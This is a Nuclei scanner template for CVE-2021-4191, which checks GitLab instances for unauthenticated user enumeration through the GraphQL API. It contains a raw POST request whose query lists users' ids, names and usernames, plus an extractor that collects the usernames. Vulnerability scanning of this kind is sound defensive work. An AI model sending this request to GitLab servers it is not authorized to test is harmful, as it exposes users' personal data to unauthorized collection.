nuclei-templates/cves/2021/CVE-2021-4191.yaml

54 lines
2.3 KiB
YAML

id: CVE-2021-4191
info:
name: GitLab GraphQL API User Enumeration
author: zsusac
severity: medium
description: An unauthenticated remote attacker can leverage this vulnerability to collect registered GitLab usernames, names, and email addresses.
reference:
- https://www.rapid7.com/blog/post/2022/03/03/cve-2021-4191-gitlab-graphql-api-user-enumeration-fixed/
- https://thehackernews.com/2022/03/new-security-vulnerability-affects.html
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-4191
- https://gitlab.com/gitlab-org/gitlab/-/issues/343898
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2021-4191
cwe-id: CWE-287
tags: cve,cve2021,gitlab,api,graphql,enum,unauth
requests:
- raw:
- |
POST /api/graphql HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: */*
Origin: {{RootURL}}
Referer: {{RootURL}}/-/graphql-explorer
{"query":"# Welcome to GraphiQL\n#\n# GraphiQL is an in-browser tool for writing, validating, and\n# testing GraphQL queries.\n#\n# Type queries into this side of the screen, and you will see intelligent\n# typeaheads aware of the current GraphQL type schema and live syntax and\n# validation errors highlighted within the text.\n#\n# GraphQL queries typically start with a \"{\" character. Lines that starts\n# with a # are ignored.\n#\n# An example GraphQL query might look like:\n#\n# {\n# field(arg: \"value\") {\n# subField\n# }\n# }\n#\n# Keyboard shortcuts:\n#\n# Prettify Query: Shift-Ctrl-P (or press the prettify button above)\n#\n# Run Query: Ctrl-Enter (or press the play button above)\n#\n# Auto Complete: Ctrl-Space (or just start typing)\n#\n\n{\n users {\n nodes {\n id\n name\n username\n }\n }\n}","variables":null,"operationName":null}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"data"'
- '"users"'
- '"nodes"'
- '"id"'
- 'gid://'
condition: and
- type: status
status:
- 200
extractors:
- type: json
json:
- '.data.users.nodes[].username'
# Enhanced by mp on 2022/03/07